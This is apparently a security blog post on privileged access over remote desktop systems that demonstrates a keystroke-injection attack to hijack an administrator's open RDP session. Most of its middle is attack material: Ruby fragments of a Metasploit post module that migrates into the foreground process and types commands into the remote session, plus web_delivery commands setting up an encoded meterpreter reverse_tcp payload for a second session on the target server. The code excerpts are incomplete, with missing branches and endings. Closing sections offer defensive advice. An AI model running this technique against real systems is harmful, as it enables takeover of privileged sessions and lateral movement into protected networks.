Safeguarding privileged access management in the age of remote work

How VDI Systems Have Helped Organizations Maintain Productivity Amid the Pandemic

As the COVID-19 pandemic continues, more and more employees are continuing to work from home. While this offers flexibility and convenience, it also presents new security challenges. In particular, the increased use of virtual desktop infrastructure (VDI) systems like Remote Desktop, VMWare Horizon, CyberARK, Guacamole, and Citrix, as well as bring your own device (BYOD) policies, has made it more important than ever to safeguard remote access.

Virtual Desktop Infrastructure (VDI) Systems for Privileged Access Management (PAM)

Virtual desktop infrastructure (VDI) systems are not only used by employees to access corporate systems remotely, but they are also used by IT administrators for privileged access management (PAM). PAM is the process of controlling and monitoring access to sensitive systems and networks, and it is an important part of any organization's security strategy. By using VDI systems for PAM, IT administrators can ensure that only authorized users have access to the remote desktop environment, and that their activities are monitored for potential threats. This helps to keep sensitive systems and networks secure, even in the face of advanced attackers.

Relation of PAM to Active Directory Administration

PAM is also an essential component of the modern corporate IT-administration within the popular Microsoft approaches to secure a corporate Active Directory: ESAE (Red Forest) and RaMP.

Privileged AdministrationESAERaMP
ScopeOn-premisesOn-premises and cloud (Azure AD)
Root of trustAdmins, PAW, Tier 0Admins, Cloud (“Cloud is a source of security.”), Tier 0
Statusdeprecated (except OT, regulated envs., high security assurance envs.)Recommended (lower cost, quicker to implemented)
Access modelTier modelEnterprise access model (zero trust, spans to cloud)
Tier 0Tier 0: DC, CA, SCCMOld Tier 0 + AAD connect, M365 global admins, cloud admin consoles
Privileged access strategyOn premises PAWs / SAWsCloud hosted intermediaries (PAWs, VDI, VPN, Jump hosts, MFA, JIT, conditional access); Then access via interfaces (powershell remoting, M365, AWS, MMC, ssh)
MFADuo, YubikeyAzure AD Multi-Factor Authentication

Overlaps: Revoke local admin privileges where possible, LAPS, PAWs, admin group cleaning

Uncovering the Hidden Risks

One potential risk of using virtual desktop infrastructure (VDI) systems is that an infected VDI client could transitively infect a remote session. This is especially true if the client device has internet access and is used for tasks other than remote access, such as checking email or browsing the web. In this scenario, malware or other malicious software on the client device could potentially be transmitted to the remote session, putting sensitive systems and networks at risk.

Exploring the Risks of Keystroke Injection Attacks on Remote Desktop Sessions

Keystroke injection is a type of attack that involves sending malicious input to a computer, typically through a hardware device or software program. By injecting keystrokes into an administrative workstation, an attacker could potentially take control of any remote sessions that the user has open. For example, if the user has an RDP, Citrix, CyberArk, SSH, or VNC session open, the attacker could use the keystroke injection to gain access to these sessions and take over control. This could allow the attacker to perform actions on the remote system, such as accessing sensitive data or executing malicious code. In this way, keystroke injection can be a powerful tool for attackers looking to gain unauthorized access to systems and networks.

Keystroke Injection in Action: Using Metasploit to Hack a Privileged Remote Session

Now that we have discussed the basics of keystroke injection attacks and the potential risks they pose to remote desktop environments, let's take a closer look at how these attacks can be carried out in practice. One popular tool for performing keystroke injection attacks is Metasploit, a widely-used open-source framework for developing, testing, and executing exploits. In this case, we will be using a Metasploit post-exploitation module called rdp_hid_injection.rb which allows an attacker to inject keystrokes into a remote desktop session. By using this module, we will demonstrate how an attacker can gain unauthorized access to a privileged remote session, even when clipboard and fileshare mapping are disabled.

Keystroke injection in RDP

Video of the attack

Before we get into the technical details, here is a demo of the attack:

Metasploit Keystroke Injection Primitives

keyboard_send and keyevent commands can be used to simulate keystrokes in a remote system using meterpreter. The keyboard_send command allows us to send individual keystrokes or strings of text, while the keyevent command allows us to send key events, such as pressing or releasing a specific key.

Here's an example of how we might use the keyboard_send command to send the string Hello, world! to the remote system:

keyboard_send "Hello, world!"

And here's an example of how we might use the keyevent command to simulate pressing the Enter key:

keyevent 13

One challenge with using Metasploit's keystroke injection module is that neither of these commands includes an option to specify the target process. As a result, the keystrokes or key events that we send with these commands will be sent to the active window on the remote system.

Sending the Keystrokes to the Correct Process

Therefore, if we want to simulate keystrokes in a specific process using meterpreter, we would need to ensure that the target process is in the foreground before injecting the keystrokes.

First we get the PID of the current foreground window.

def get_foreground_pid()
  foreground_window = client.railgun.user32.GetForegroundWindow()
  foreground_window_handle = foreground_window['return']
  print_good("Found foreground window handle #{foreground_window_handle}")
  foreground_window_pid = get_pid_for_handle(foreground_window_handle)
  return foreground_window_pid

  # Idea, here we can lookup more information like the user context
  # [+] {"pid"=>6232, "ppid"=>440, "name"=>"rdpclip.exe", "path"=>"C:\\Windows\\System32\\rdpclip.exe", "session"=>2, "user"=>"PC1\\student"
  session.sys.process.get_processes().each do |x|
    if x['pid'] == foreground_window_pid
      print_good("Found foreground process: #{x}")

After that, we need to bring the remote desktop session window to the foreground. This can be a bit tricky, as Windows imposes rules on which processes are allowed to bring windows to the foreground.

The system restricts which processes can set the foreground window. A process can set the foreground window only if one of the following conditions is true:

  • The process is the foreground process.
  • The process was started by the foreground process.
  • The process received the last input event.
  • There is no foreground process.
  • The process is being debugged.
  • The foreground process is not a Modern Application or the Start Screen.
  • The foreground is not locked (see LockSetForegroundWindow).
  • The foreground lock time-out has expired (see SPI_GETFOREGROUNDLOCKTIMEOUT in SystemParametersInfo).
  • No menus are active.

An application cannot force a window to the foreground while the user is working with another window. Instead, Windows flashes the taskbar button of the window to notify the user.

By leveraging the capabilities of the migrate command, we can overcome the restrictions imposed by windows on foreground processes, and use keystroke injection to gain access to the remote desktop environment.

We use migrate to move into the current foreground process, and then use this privileged position to bring the RDP window to the foreground.

def migrate_and_bring_window_to_foreground(foreground_pid, remote_session_handle)

  print_status("Migrating into #{foreground_pid}")
  # we need to inject into the foreground window because of these rules
  migrated = migrate_to_foreground_process(foreground_pid)
  if migrated
      print_good("Migration to #{foreground_pid} successful")
      print_error("Failed to migrate into #{foreground_pid}")
      return 1
  # We are running in the foreground window now. So we can bring the remote sesssion
  # to the foreground and interact with it
  print_status("Bringing window to foreground")
  foreground_window = client.railgun.user32.SetForegroundWindow(remote_session_handle)

def migrate_to_foreground_process(targetpid)
  mypid = session.sys.process.getpid

  if mypid == targetpid
    print_good("Already in foreground no need to migrate")
    return true
    print_status("Migrating from PID: #{mypid} to #{targetpid}")
      print_error("Unable to migrate, try getsystem first")
      return false
    print_good("Migrated to : #{targetpid} successfully")
    return true

To open a run command within an RDP session, the session must be in fullscreen mode. To enter fullscreen mode, we can simply run the following key sequence: Windows + Up. This will expand the RDP session to fill the entire screen, allowing us to access the run command and other applications.

def make_rdp_fullscreen_when_in_foreground()
  # make it a full screen: window key and up
  # we need this to successfully open a run prompt in the remote session
  print_status("Making window full-screen")
  send_keyevent('windows', 'down')
  send_keyevent('up', 'press')
  send_keyevent('windows', 'up') 

After that we can open a run prompt and start injecting the payload

  #send escape key to try to get into a consistent state
  send_keyevent('escape', 'press')

  print_status("Opening run prompt")
  # open a run prompt; windows+r
  send_keyevent('windows', 'down')
  send_keyevent('r', 'press')
  send_keyevent('windows', 'up')

  # open powershell 
  print_status("Sending RUN_CMD")
  run_cmd = datastore["RUN_CMD"] || nil
  send_keyevent('enter', 'press')

  cmd = datastore["CMD"] || nil
  if cmd != nil
      print_status("Sleeping 3 seconds")
      delay = datastore["DELAY"] || nil

      # sending command 
      print_status("Sending CMD")
      send_keyevent('enter', 'press')

  cmd_exit = datastore["CMD_EXIT"] || nil
  if cmd_exit != nil
      print_status("Sending CMD_EXIT")
      send_keyevent('enter', 'press')

  # minimize fullscreen window again
  print_status("Minimizing window again")
  send_keyevent('ctrl', 'down')
  send_keyevent('alt', 'down')
  send_keyevent('home', 'press')
  send_keyevent('alt', 'up')
  send_keyevent('ctrl', 'up')

  send_keyevent('alt', 'down')
  send_keyevent('tab', 'press')
  send_keyevent('alt', 'up')


You can find the complete post module here rdp_hid_inject.rc

To install it place it into /usr/share/metasploit-framework/modules/post/windows/manage/rdp_hid_inject.rc and reload_all modules of the msfconsole


The module can be used together with a Powershell-Payload:

use exploit/multi/script/web_delivery
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set SRVPORT 9999
set LPORT 10000
set target 2
set EnableStageEncoding true
set StageEncoder x64/zutto_dekiru
exploit -j

The resulting payload is


Within the meterpeter session that is open to the RDP client we need to load extapi. Currently we use that in the module to map the window handles to process id. But it should be possible to rewrite the module to work without extapi using Railgun.

sessions -i 1
load extapi

Now we can execute the post module using the payload generated earlier

use post/windows/manage/rdp_hid_infect

The Trade-Offs Between Security and Usability

To address this issue, it is important for organizations to consider adopting a better security posture when it comes to VDI and especially privileged access management (PAM). One key measure is to secure the endpoint, such as the client device used to access the remote session. An effective strategy is to use two separate devices for each task: one for privileged administration and one for normal daily work. This can help to prevent cross-contamination of malware and other threats between the two environments, and it also allows IT administrators to more effectively monitor and control access to sensitive systems. Alternatively, organizations can also consider using virtual machines (VMs) for PAM, where the host is a minimal, hardened system and the guests are the PAM access environment and the normal work environment. By implementing these approaches, organizations can improve the security of their VDI systems and reduce the risk of transitive infections in remote sessions.

Another effective measure is to revoke public internet access on the endpoint device used for remote access. Instead, only VPN connections to the VDI systems should be allowed. This can help to prevent malware and other threats from being transmitted to the remote session, and it also reduces the attack surface of the device.

Restricting internet access from the remote server also effectively prevents the malware from establishing a control and command connection.

The post module code

This is the windows/manage/rdp_hid_infect code that is located in /usr/share/metasploit-framework/modules/post/windows/manage/rdp_hid_infect.rb

Screenshots of the module execution

With an remote desktop session opened

Alt text

We generate the payload.

Alt text

Assuming that we have a session 1 to the infected the Windows system, we than proceed to load extapi

Alt text

Then we execute the post exploitation module

Alt text

If everything worked out we get a second session from within the remote server.

Alt text